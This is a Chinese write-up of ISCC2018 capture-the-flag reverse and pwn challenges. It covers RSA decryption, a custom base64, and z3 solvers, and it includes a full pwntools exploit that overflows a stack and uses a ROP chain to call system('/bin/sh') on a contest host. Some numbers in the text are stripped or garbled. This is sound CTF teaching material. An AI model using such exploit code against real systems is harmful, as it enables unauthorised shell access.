ISCC2018 Reverse & Pwn writeup
Reference:L1B0
Re
RSA256
春秋欢乐赛原题。。flag都不变的
给了三个加密文件和公钥证书public.key,可以使用openssl进行处理
- $openssl rsa -pubin -text -modulus -in ./public.key
- Public-Key: ( bit)
- Modulus:
- :d9:9e::::a6:d9::df:c2::4a:ba::
- 5b:::d6:0a:7b:9e::0a:ff::1c::ec::
- d5::eb
- Exponent: (0x10001)
- Modulus=D99E952296A6D960DFC2504ABA545B9442D60A7B9E930AFF451C78EC55D555EB
- writing RSA key
- -----BEGIN PUBLIC KEY-----
- MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhANmelSKWptlg38JQSrpUW5RC1gp7npMK
- /0UceOxV1VXrAgMBAAE=
- -----END PUBLIC KEY-----
rsa参数中, Exponent=65537 即为 e 值 ,Modulus即为n
使用python解密即可
- #!/usr/bin/env python
- #coding:utf-8
- import gmpy2
- import rsa
- p = 302825536744096741518546212761194311477
- q = 325045504186436346209877301320131277983
- n = 98432079271513130981267919056149161631892822707167177858831841699521774310891
- e = 65537
- d = int(gmpy2.invert(e , (p-1) * (q-1)))
- privatekey = rsa.PrivateKey(n , e , d , p , q)
- with open("encrypted.message1" , "rb") as f:
- print(rsa.decrypt(f.read(), privatekey).decode())
- with open("encrypted.message2" , "rb") as f:
- print(rsa.decrypt(f.read(), privatekey).decode())
- with open("encrypted.message3" , "rb") as f:
- print(rsa.decrypt(f.read(), privatekey).decode())
结果
leftleftrightright
一个upx加壳的exe程序
脱壳后,能够在ida中发现疑似经过换位的flag:s_imsaplw_e_siishtnt{g_ialt}F
按照英文单词猜测,还是有一定几率能猜出正确的flag的。
程序去壳之后就不能运行了,根据学长指示,可以在winedbg中进行调试。但是系统自带的老版本wine会遇到很多错误,所以编译安装wine3.8编译安装wine3.8
下载源码到用户目录
$tar Jxf wine-3.8.tar.xz
$cd wine-3.8/
$./configure --enable-win64
遇到一个错误error: no suitable bison found. Please install the 'bison' package.
$sudo apt-get install bison
又一个错误error: FreeType 64-bit development files not found. Fonts will not be built.
根据提示判断是和字体相关的包,试了几次一直处错误,索性暂时不安了影响应该不大
$./configure --enable-win64 --without-freetype
$make
$sudo make installwine好像还有点问题,日后再说。。。
只要将断点下在比较函数部分,输入和flag等长的字符串,对比换位前后的变化,即可得到flag变化规则,将之前的字符串逆向变换即可得到flag
借用M4x大佬的图和代码说明
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- __Auther__ = 'M4x'
- encrypt = "s_imsaplw_e_siishtnt{g_ialt}F"
- before = "abcdefghijklmnopqrstuvwxyzABC"
- after = "onpqmlrskjtuihvwgfxyedzAcbBCa"
- flag = [encrypt[after.find(c)] for c in before]
- print "".join(flag)
- #Flag{this_was_simple_isnt_it}
My math is bad
解方程类的题目,使用z3比较容易解决
详见z3学习档案obfuscation and encode
程序逻辑可以说乱透了。。
输入的flag经过fencode和encode两个函数进行加密之后与lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq进行比较。
经过分析,encode部分是进行了三位变四位的操作
Result为最终比较结果,trans为flag经过fencode处理得到的串
- Reault[] = alpha[trans[] >> & 0x3f] == 'l'
- v11 =
- v10 =
- Reault[] = alpha[((trans[]>>)|*trans[]) & 0x3f] == 'U'
- Reault[] = alpha[((trans[]>>)|*trans[]) & 0x3f] == 'F'
- v12 =
- v24 =
- Reault[] = alpha[trans[]&0x3f] == 'B'
可以根据这一规律进行每四位进行爆破,trans
这是类base64,一般是更改替换表和偏移位数进行编码,所以可以通过改写base64标准解码代码,实现一步到位这是改写的爱测试国赛的代码。
- # -*- coding: UTF- -*-
- table = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+'
- def decodeBase64(src):
- delPaddingTail = {: , : , : }
- value = ''
- n = src.count('=')
- sin = src[:len(src) - n]
- for c in sin:
- value += bin(table.find(c))[:].zfill().replace('0b', '')
- value = value[:len(value) - delPaddingTail[n]]
- print value
- middle = []
- for i in range(, len(value) + , ):
- middle.append(int(value[i-:i], ))
- output = middle
- print output
- return ''.join(map(chr, output))
- res = decodeBase64("lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq")
- print res
得到trans
- [, , , , , , , , , , , , , , , , , , , , , , , ]
然后,我是通过暴力运行性加代码分析解决的fencode
写gdb脚本的方法倒是不错,程序汇编的0x4008c6和0x400906两行和生成trans有关
在调试的时候只要查看这两句就能看到操作数,其余的地方不用管
也能看到对24位flag,分成6组,每四位和m数组的对应位相乘求和再%127得到trans,同样可以使用z3进行求解。
- #!/usr/bin/env python
- # -*-coding=utf-8-*-
- from z3 import *
- trans = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38]
- print len(trans)
- m = [2,2,4,-5,1,1,3,-3, -1, -2, -3, 4, -1, 0, -2,2]
- a = BitVec('a',64)
- b = BitVec('b',64)
- c = BitVec('c',64)
- d = BitVec('d',64)
- for i in range(6):
- s = Solver()
- s.add((2 * a + 2 * b + 4 * c - 5 * d) & 0xff== trans[4 * i])
- s.add((a + b + 3 * c - 3 * d)& 0xff== trans[4*i+1])
- s.add((-1 * a - 2 * b -3 * c + 4 * d) & 0xff == trans[4 * i + 2])
- s.add(( -1 * a - 2 * c + 2 * d) & 0xff == trans[4 * i + 3])
- s.add(a<256)
- s.add(b<256)
- s.add(c<256)
- s.add(d<256)
- if s.check() == sat:
- print s.model()
- else :
- print s.check()
- #[b = 108, a = 102, c = 97, d = 103]
- #[b = 100, a = 123, c = 79, d = 95]
- #[b = 48, a = 121, c = 85, d = 95]
- #[b = 78, a = 75, c = 111, d = 87]
- #[b = 48, a = 95, c = 73, d = 108]
- #[b = 109, a = 86, c = 63, d = 125]
- f = [102,108,97,103,123,100,79,95,121,48,85,95,75,78,111,87,95,48,73,108,86,109,63,125]
- print map(chr,f)
- flag = ''
- for i in f:
- flag += chr(i)
- print flag
可以得到六组解,排好顺序转字符即可
Pwn
Login(pwn50)
思路
1.没有canary和PIE,在输入choice时存在栈溢出.并且有system函数。
2.账号密码在常字符串,且可以使用全局变量”cmd”存储写入字符串,可以在已知地址内存中输入”/bin/sh”
3.在程序中找到了pop rdi; ret
,可以通过控制寄存器传参,溢出后调用system函数。脚本
- #!/usr/bin/env python
- # -*-coding=utf-8-*-
- from pwn import *
- context.log_level = 'debug'
- # io = process('./pwn50')
- io = remote('47.104.16.75',9000)
- elf = ELF('./pwn50')
- sys_addr = elf.plt['system']
- rdi_ret = 0x400b03
- cmd = 0x601100
- usr = 'admin'
- psd = 'T6OBSh2i'
- io.recvuntil('name: ')
- io.sendline(usr)
- io.recvuntil('word: ')
- io.sendline(psd)
- io.recvuntil('choice: ')
- io.send('1\n')
- io.recvuntil('and: ')
- io.send('/bin/sh\0\n')
- io.recvuntil('choice: ')
- payload = '' * (0x50 + 0x8)
- payload += p64(rdi_ret) + p64(cmd)
- payload += p64(sys_addr)
- io.send(payload)
- io.interactive()
- # flag{welcome_to_iscc}
Write some paper(pwn3)
double free 的问题
参见Fastbin之double freeHappy hotel(pwn300)
LCTF原题?House of spirit
Hos分析)
以Pwnable spirited_away为例分析。
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;
ISCC2018 Reverse & Pwn writeup的更多相关文章
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- NepCTF pwn writeup
上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...
- HGAME2021 week4 pwn writeup
第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...
- HGAME2021 week3 pwn writeup
一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...
- 2020ACTF pwn writeup
为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...
- SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...
- HGAME2021 week2 pwn writeup
week2一共有4道pwn题 killerqueen 有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了. 第一次choose1的时候,可以输入0,泄 ...
随机推荐
- Iperf 网络性能测试
1.iperf安装 1.1将iperf_PC.rar工具解压放在默认的盘目录下即可,无需安装 1.2安装iperf for android 2.06.apk"到手机端. adb instal ...
- Python 实现转堆排序算法原理及时间复杂度(多图解释)
原创文章出自公众号:「码农富哥」,欢迎转载和关注,如转载请注明出处! 堆基本概念 堆排序是一个很重要的排序算法,它是高效率的排序算法,复杂度是O(nlogn),堆排序不仅是面试进场考的重点,而且在很多 ...
- Day7前端学习之路——多栏布局
该文章主要讨论两栏布局和三栏布局,三栏布局包括很著名的圣杯布局和双飞翼布局 一.两栏布局的七种方法(左边固定,右边自适应) 原理: block水平元素宽度能够跟随父容器调节的流动特性,block级别的 ...
- Axer-使用Msfvenom自动创建有效负载的工具
Axer-使用Msfvenom自动创建有效负载的工具 该axer将替换为有效的手动操作msfvenom,设置更容易和快了很多. AXER可以让您选择平台,格式,编码器,与另一个文件绑定以及许多其他功能 ...
- Mac启动MongoDB报错:exception in initAndListen: NonExistentPath: Data directory /data/db not found., terminating
这是主要错误: initAndListen中的异常:NonExistentPath:找不到数据目录/ data / db. 最新版的Mac系统Catalina发生了令人惊讶的更改:它不允许更改根目录( ...
- ModbusTCP协议解析 —— 利用Wireshark对报文逐字节进行解析详细解析Modbus所含功能码
现在网上有很多类似的文章.其实这一篇也借鉴了很多其他博主的文章. 写这篇文章的重点是在于解析功能和报文.对Modbus这个协议并不会做很多介绍. 好了,我们开始吧. 常用的功能码其实也没多少.我也就按 ...
- AndroidStudio报错:Emulator: I/O warning : failed to load external entity "file:/C:/Users/Administrator/.AndroidStudio3
场景 在进行Android Studio的.Android Studio目录从C盘修改为其他目录后,新建App启动提示: Emulator: I/O warning : failed to load ...
- STM32之RGB灯仿真
实验目的 点灯是练习GPIO输出的最佳实验.由于疫情期间没法返校,手头上没有现成的实验板,于是借助Proteus进行仿真.本实验点的不是普通的灯,而是RGB混色灯,实现多种颜色的显示.后期还可以加上P ...
- RPC远程过程调用(Remote Procedure Call)
RPC,就是Remote Procedure Call,远程过程调用 远程过程调用,自然是相对于本地过程调用 本地过程调用,就好比你现在在家里,你要想洗碗,那你直接把碗放进洗碗机,打开洗碗机开关就可以 ...
- CSS的一些文本操作有哪些
一.文本的对齐方式 text-align:center/left/right text-align:justify; font-style:normal/italic/oblique/inherit ...